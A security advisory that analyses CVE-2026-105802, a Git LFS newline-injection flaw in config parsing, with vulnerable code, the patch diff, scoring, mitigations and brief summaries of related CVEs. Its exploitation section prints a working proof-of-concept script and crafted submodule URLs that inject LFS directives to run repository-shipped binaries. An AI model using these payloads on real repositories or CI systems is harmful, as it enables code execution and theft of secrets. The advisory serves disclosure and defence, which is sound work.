Nov 20, 2026·12 min read·1 visit
Git LFS prior to 3.8.1 parses `git config -l` output by splitting on newline characters (`\n`). Because Git permits embedded newlines in configuration values such as `submodule.<name>.url`, a malicious `.gitmodules` file can inject arbitrary local repository configuration keys when `git submodule init` is executed. Attackers can override `lfs.customtransfer.<name>.path` or `lfs.extension.<name>.clean` to execute arbitrary binaries shipped inside the repository.
A line delimiter injection vulnerability in Git Large File Storage (Git LFS) versions 0.6.0 through 3.8.0 allows remote attackers to execute arbitrary commands via crafted Git submodule URLs containing embedded line feed characters.
Git Large File Storage (Git LFS) is an open-source Git extension written in Go that replaces large files in a repository with lightweight text pointers while storing the file contents on a remote server. To coordinate file transfers and pointer conversions, Git LFS relies heavily on Git's native configuration system, reading directives from system, global, local (.git/config), and repository-tracked (.lfsconfig) sources.
Because Git LFS supports extensible architectures—specifically custom transfer adapters and pointer extension filters—certain configuration keys define local executable paths that Git LFS invokes during standard Git operations. To prevent remote repositories from executing arbitrary code upon checkout, Git LFS implements a trust boundary that blocks execution-related configuration directives from being loaded out of repository-tracked .lfsconfig files. Only directives residing in the local .git/config or higher-privilege configuration scopes are trusted to specify executable paths.
CVE-2026-105802 (also tracked as GHSA-xrgv-7vx6-5vx6) is an improper neutralization of line delimiters vulnerability (CWE-144) in the Git LFS configuration parser that allows an attacker to bypass this trust boundary. Affecting all versions of Git LFS from 0.6.0 through 3.8.0, the flaw occurs because Git LFS queries Git configuration values using git config -l without null-byte termination, splitting the standard output stream on newline characters (\n).
When a user initializes submodules in a repository via git submodule init, Git copies the submodule.<name>.url property from the repository-tracked .gitmodules file directly into the trusted local .git/config file. Because Git permits embedded line feed (LF / \x0A) characters inside configuration values, a malicious repository can embed newline-delimited Git LFS execution directives inside a submodule URL. When Git LFS subsequently reads the local configuration during operations like git lfs pull or git add, it interprets the injected lines as independent, trusted configuration settings, resulting in arbitrary code execution.
The root cause of CVE-2026-105802 lies in an ambiguity between record delimiters and embedded value characters when invoking the git config command-line interface. In standard operation without the -z (--null) flag, git config -l outputs configuration entries as key-value pairs separated by an equals sign (=) and terminated by a line feed (\n). If a configuration value itself contains a multi-line string with embedded line feeds, git config -l prints those line feeds verbatim without escaping or quoting.
In Git LFS, the configuration parser located in git/config.go (ParseConfigEntries) ingested the output of git config -l as a single string. It tokenized this string into individual directives by calling strings.Split(config, "\n"), and then separated each line into a key and value using strings.SplitN(e, "=", 2). This parsing logic assumes that every newline character in the output stream represents the boundary of a new configuration key-value pair.
This assumption breaks down when evaluating how Git handles submodule initialization. While Git restricts .gitmodules from directly defining arbitrary configuration sections or execution hooks (such as core.sshCommand), it allows arbitrary string data inside submodule.<name>.url to support diverse remote transport protocols. When git submodule init executes, Git reads submodule.<name>.url from .gitmodules and writes it into .git/config using proper INI-style escaping (quoting or line-continuation).
However, when Git LFS later invokes git config -l to inspect the local repository configuration, Git unescapes the .git/config entry and emits the raw line feed character to standard output. Any text following the line feed inside the submodule URL that contains an = character is parsed by ParseConfigEntries() as a separate, top-level configuration directive originating from the trusted .git/config source (onlySafeKeys = false).
Once the attacker achieves arbitrary configuration injection into the trusted configuration state, two primary execution sinks in Git LFS can be targeted:
lfs.customtransfer.<name>.path): Git LFS uses transfer adapters to upload and download object payloads. When a repository operates against a file-based remote or standalone transfer mode, Git LFS uses the built-in lfs-standalone-file adapter. By injecting lfs.customtransfer.lfs-standalone-file.path=./payload, an attacker overrides the default handler with a relative path pointing to an executable binary tracked inside the repository working tree.lfs.extension.<name>.clean and lfs.extension.<name>.smudge): Git LFS allows external programs to manipulate files before they are turned into LFS pointers (clean) or restored to the working tree (smudge). By injecting lfs.extension.<name>.clean=<command> along with lfs.extension.<name>.priority=1, an attacker forces Git LFS to execute the specified command whenever a user runs git add on matching files.The vulnerability was introduced in the foundational configuration parsing logic of Git LFS (dating back to commit 9f4a8e23653d4c1351a9fef7319a62a9f6d7d837 and expanded in 183bdc8283212403491fbc044af2f4825b61ccc7). In git/config.go, the methods Source(), FileSource(), and RevisionSource() invoked c.gitConfig("-l", ...) and passed the resulting string directly to ParseConfigEntries().
// Vulnerable implementation in git/config.go prior to 3.8.1
func ParseConfigEntries(config string, onlySafeKeys bool) *ConfigurationSource {
// BUG: Splitting on newline allows multi-line config values to inject new entries
entries := strings.Split(config, "\n")
source := &ConfigurationSource{
Entries: make([]ConfigurationEntry, 0, len(entries)),
OnlySafeKeys: onlySafeKeys,
}
for _, e := range entries {
// BUG: Any injected line containing '=' is split into a valid Key/Value pair
fields := strings.SplitN(e, "=", 2)
if len(fields) < 2 {
continue
}
source.Entries = append(source.Entries, ConfigurationEntry{
Key: fields[0],
Value: fields[1],
})
}
return source
}To remediate the flaw in commits 39b73aa4db821fea6f0da8320128e5e1b919942d and 1b2672aaa29016e8004369df1406d2a73057f45f, the maintainers updated all git config -l invocations to include the -z (--null) flag. When -z is passed to git config -l, Git changes its output format so that entries are delimited by NUL bytes (\x00), and the key is separated from its value by the first newline character (\n) rather than an equals sign:
key1\nvalue1_line1\nvalue1_line2\0key2\nvalue2\0The patch modifies git/config.go to split entries on \x00 and split the key from the value on the first \n using strings.SplitN(e, "\n", 2):
File: git/config.go
@@ -50,15 +50,15 @@ func NewReadOnlyConfig(workdir, gitdir string) *Configuration {
}
func ParseConfigEntries(config string, onlySafeKeys bool) *ConfigurationSource {
- entries := strings.Split(config, "\n")
+ // FIX: Split distinct configuration records on NUL byte instead of newline
+ entries := strings.Split(config, "\x00")
source := &ConfigurationSource{
Entries: make([]ConfigurationEntry, 0, len(entries)),
OnlySafeKeys: onlySafeKeys,
}
for _, e := range entries {
- fields := strings.SplitN(e, "=", 2)
+ // FIX: Under 'git config -l -z', key and value are separated by the first newline.
+ // Subsequent newlines remain safely inside fields[1] (the value).
+ fields := strings.SplitN(e, "\n", 2)
if len(fields) < 2 {
continue
@@ -212,23 +212,23 @@ func (c *Configuration) FileSource(filename string) (*ConfigurationSource, error
return nil, err
}
- out, err := c.gitConfig("-l", "-f", filename)
+ out, err := c.gitConfig("-l", "-z", "-f", filename)
if err != nil {
return nil, err
}
return ParseConfigEntries(out, true), nil
}
func (c *Configuration) RevisionSource(revision string) (*ConfigurationSource, error) {
- out, err := c.gitConfig("-l", "--blob", revision)
+ out, err := c.gitConfig("-l", "-z", "--blob", revision)
if err != nil {
return nil, err
}
return ParseConfigEntries(out, true), nil
}
func (c *Configuration) Source() (*ConfigurationSource, error) {
- out, err := c.gitConfig("-l")
+ out, err := c.gitConfig("-l", "-z")
if err != nil {
return nil, err
}> [!NOTE]
> Fix Completeness Assessment: The switch to -z (\x00 termination) completely eliminates line delimiter injection across all three configuration loading paths (Source, FileSource, and RevisionSource). Because Git configuration keys and values are strings handled in C by the core git binary, NUL bytes cannot exist inside a configuration value in .gitmodules or .git/config. Furthermore, because strings.SplitN(e, "\n", 2) splits at most once on the first newline, any embedded newlines inside the value are preserved intact within fields[1], preventing variant injection attacks against the configuration parser.
Exploitation of CVE-2026-105802 requires no authentication and targets victims or automated systems (such as CI/CD runners) that clone an attacker-controlled repository, initialize its submodules, and run Git LFS operations. Note that git clone --recurse-submodules or a sequence of git clone, git submodule init, and git lfs pull (or git add) is sufficient to trigger the payload.
The official test suite in commit 39b73aa4db821fea6f0da8320128e5e1b919942d (t/t-submodule-lfsconfig.sh) demonstrates two primary exploitation vectors. In the first vector, the attacker abuses the lfs-standalone-file custom transfer adapter.
First, the attacker constructs a repository containing an executable payload (e.g., adapter on Unix or adapter.bat/adapter.exe on Windows), tracks a dummy file with Git LFS, and crafts a .gitmodules entry with a line feed embedded in the submodule URL:
# 1. Initialize malicious repository and track *.bin with Git LFS
git init evil-repo
cd evil-repo
git lfs track "*.bin"
echo "contents" > test.bin
# 2. Create the malicious executable in the repository root
cat << 'EOF' > adapter
#!/bin/sh
id > /tmp/pwned
EOF
chmod +x adapter
# 3. Create an initial commit to obtain a valid object ID for the gitlink
git commit --allow-empty -m "initial"
submodule_oid="$(git rev-parse HEAD)"
# 4. Craft the submodule URL containing an embedded LF (\n) and the injected LFS directive
injected_url="$(printf 'https://example.com/sub\nlfs.customtransfer.lfs-standalone-file.path=./adapter')"
git config --file .gitmodules submodule.sub.path sub
git config --file .gitmodules submodule.sub.url "$injected_url"
# 5. Stage files and register the submodule gitlink (mode 160000) in the index
git add .gitattributes .gitmodules adapter test.bin
git update-index --add --cacheinfo "160000,$submodule_oid,sub"
git commit -m "Add crafted submodule"When a victim clones this repository and initializes submodules, Git copies the multi-line submodule.sub.url setting into .git/config. Notably, git submodule init succeeds without attempting to contact https://example.com/sub\n..., meaning the network call does not fail prior to configuration persistence. When the victim subsequently runs git lfs pull or git lfs fetch, Git LFS reads .git/config, sees the overridden lfs-standalone-file path, and executes ./adapter directly from the working tree.
Alternatively, if the victim environment does not use a standalone file remote (for example, when cloning over HTTPS where the HTTP transfer adapter is selected instead of lfs-standalone-file), the attacker can inject a pointer extension clean filter into .gitmodules:
injected_url="$(printf 'https://example.com/sub\nlfs.extension.sub.clean=./ext-clean %%f\nlfs.extension.sub.priority=1')"
git config --file .gitmodules submodule.sub.path sub
git config --file .gitmodules submodule.sub.url "$injected_url"Once the victim runs git submodule init followed by git add on any file matched by Git LFS tracking rules, the git-lfs filter-process or git-lfs clean hook parses the injected extension configuration and executes ./ext-clean <filename> with the privileges of the current user.
Successful exploitation of CVE-2026-105802 grants an attacker arbitrary command execution in the security context of the user or service account running Git and Git LFS. Because the payload binary or script can be committed directly into the repository's working tree and referenced via a relative path (./adapter), exploitation does not depend on pre-existing binaries on the target system and works reliably across Linux, macOS, and Windows.
The vulnerability is assigned a CVSS v4.0 base score of 8.6 (High) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N. The Attack Vector is Network (AV:N) because malicious repositories are distributed over remote network protocols, and Attack Complexity is Low (AC:L) with no special Attack Requirements (AT:N) or Privileges Required (PR:N). User Interaction is rated Passive (UI:P), reflecting that a developer or automated build pipeline must clone the repository and initialize submodules.
In developer workstation scenarios, an attacker can compromise local SSH keys, cloud provider credentials, and source code across all accessible projects. In enterprise CI/CD environments—where build pipelines routinely execute git submodule update --init followed by git lfs pull on untrusted pull requests or external repositories—exploitation leads to pipeline compromise, theft of deployment secrets, and potential supply chain poisoning of build artifacts.
As of the initial disclosure, CVE-2026-105802 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The Exploit Prediction Scoring System (EPSS) score is 0.00528 (45.61st percentile). While a functional proof-of-concept exists within the official Git LFS test suite (t/t-submodule-lfsconfig.sh), no weaponized exploitation in the wild has been publicly reported.
The primary remediation is to upgrade Git LFS to version 3.8.1 or later, which parses Git configuration output using null-byte delimiters (git config -l -z). Because Git LFS is frequently bundled with operating system distributions and Git installers, administrators should apply updates across all relevant package ecosystems:
v3.8.1 or later from the official GitHub release page.v2.56.0.windows.3 or later, which bundles Git LFS 3.8.1.brew upgrade git-lfs and verify the installed version with git lfs version.git-lfs via apt, dnf, zypper, apk, or FreeBSD ports.If immediate upgrading is not possible in specific environments, organizations should implement defensive controls before initializing submodules in untrusted repositories:
git submodule init or git clone --recurse-submodules on unreviewed pull requests from external forks..gitmodules for Embedded Line Delimiters: Before running git submodule init, inspect .gitmodules for multi-line values or unexpected lfs. substrings. In Git configuration syntax, embedded newlines in .gitmodules often appear as physical newlines inside quoted strings or using \n escape sequences:# Inspect parsed .gitmodules output using null-delimited git config to detect multi-line values
git config --file .gitmodules -l -z | awk -v RS='\0' 'gsub(/\n/, "&") > 1 { print "Suspicious multi-line entry:\n" $0 }'git submodule init has already been executed, verify .git/config to ensure no unexpected lfs.customtransfer.* or lfs.extension.* directives appear either directly or embedded within submodule.*.url entries.CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
git-lfs git-lfs | >= 0.6.0, < 3.8.1 | 3.8.1 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Line Delimiter / Configuration Injection (CWE-144) |
| Affected Component | Git LFS Configuration Parser (git/config.go) |
| Attack Vector | Network / Crafted .gitmodules Submodule URL |
| CVSS v4.0 Score | 8.6 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) |
| EPSS Score | 0.53% (45.61st Percentile) |
| Impact | Arbitrary Local Command Execution |
| Exploit Status | Proof-of-Concept in Official Test Suite |
| CISA KEV Status | Not Listed |
The software receives input that contains line delimiters (such as CR or LF) and fails to neutralize or properly encode them before parsing or passing them into another component, allowing attackers to inject additional records or directives.
CVE-2026-105803 (GHSA-x72p-hmqp-46hw) is a high-severity arbitrary command execution vulnerability in Git Large File Storage (Git LFS) affecting versions from v1.3.0 prior to v3.8.1. The flaw stems from the combination of an unanchored regular expression in custom transfer adapter initialization (CWE-777) and insufficient syntactic validation during .lfsconfig key filtering (CWE-1286). An attacker can craft a repository containing a malicious .lfsconfig file that bypasses safe-key filtering restrictions and registers an arbitrary binary as a custom transfer adapter, leading to remote code execution when a victim clones or fetches from the repository.
An unauthenticated SQL injection vulnerability exists in Daptin prior to version 0.12.30. The generic entity listing handler fails to validate user-supplied sort parameters against the table schema before passing them to the goqu SQL query builder, enabling remote attackers to break out of SQL identifier quoting and execute arbitrary SQL subqueries.
CVE-2026-77369 is a broken access control and Insecure Direct Object Reference (IDOR) vulnerability in Daptin, an open-source headless CMS. Affected versions from 0.11.4 through 0.12.29 expose a generic YJS real-time collaboration WebSocket endpoint (`GET /yjs/:documentName`) that verifies user authentication but fails to enforce row-level authorization when supplied with a canonical database room identifier (`{typename}.{referenceId}.{columnName}`). This allows any low-privileged authenticated user to read or modify restricted database columns of type `file.*` across all entities.
CVE-2026-77376 is an open redirect vulnerability (CWE-601) in the core framework of Bolt CMS prior to version 6.1.4. The vulnerability resides within the LoginFormAuthenticator class, which processes post-authentication redirection for both successful and failed login attempts. Due to a lack of destination validation, the application accepts untrusted target paths from user sessions and directly reflects unvalidated HTTP Referer headers into HTTP Location response headers. Attackers can exploit this behavior to redirect users to arbitrary external domains after interacting with the Bolt login endpoint, facilitating credential harvesting and phishing attacks.
Bolt CMS (bolt/core) versions prior to 6.1.4 contain a Server-Side Request Forgery (SSRF) vulnerability in the authenticated URL-upload (/async/upload-url) and media embed (/async/embed) endpoints. Backend users with file upload or media embedding privileges can supply arbitrary URLs that the application fetches without destination IP validation. This allows authenticated attackers to force the server to initiate HTTP requests to loopback interfaces, RFC 1918 private networks, and cloud instance metadata services.
Bolt CMS prior to version 6.1.4 contains an information disclosure vulnerability in its public Relation API endpoints. The Doctrine ORM query extension (ContentExtension) fails to filter out unpublished, draft, or viewless content when querying the Relation entity. Because the Relation resource is configured with public read access (PUBLIC_ACCESS) via API Platform REST and GraphQL endpoints, unauthenticated remote attackers can enumerate relationship graphs, entity identifiers, and metadata associated with private content.